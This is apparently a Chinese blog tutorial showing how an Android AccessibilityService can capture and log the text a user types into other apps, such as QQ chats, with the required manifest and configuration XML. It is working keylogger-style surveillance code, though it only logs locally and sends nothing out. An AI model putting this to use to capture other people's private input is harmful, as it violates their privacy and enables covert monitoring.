監聽手機上任意一個App都輸入了哪類內容,比如像QQ聊天等。其實Android給我們提供了一個輔助類AccessibilityService,這個類能幹很多事情,模擬點擊(比如自動搶紅包實例,感謝CSDN_SXL:http://blog.csdn.net/csdn_sxl/article/details/50651959的博客),不過這裏我們將監聽輸入字符。
很簡單,創建一個實例GetInputChar繼承AccessibilityService,重寫onAccessibilityEvent方法
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
try {
String inputChar= event.getText().get(0).toString();
Log.i(">>>>>>>", inputChar);
AccessibilityNodeInfo rootNode = getRootInActiveWindow();
} catch (IndexOutOfBoundsException e) {
e.printStackTrace();
}
}
然後在Manifest中聲明權限:
<service
android:name="com.example.testgettext.GetInputChar"
android:enabled="true"
android:exported="true"
android:label="@string/app_name"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE" >
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data
android:name="android.accessibilityservice"
android:resource="@xml/accessibility" />
</service>
在我們的res文件目錄下建立一個xml文件夾,創建一個accessibility.xml文件,內容如下:
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:accessibilityEventTypes="typeViewFocused|typeViewTextChanged"
android:accessibilityFeedbackType="feedbackVisual"
android:canRetrieveWindowContent="true"
android:description="@string/aaa"
android:packageNames="xxx.xxx.xxx"
android:notificationTimeout="100" />
這裏的packageNames上指定,你想要監控APP的包名。就OK了。
安裝好app之後,到設置->輔助功能:剛剛安裝的App打開即可。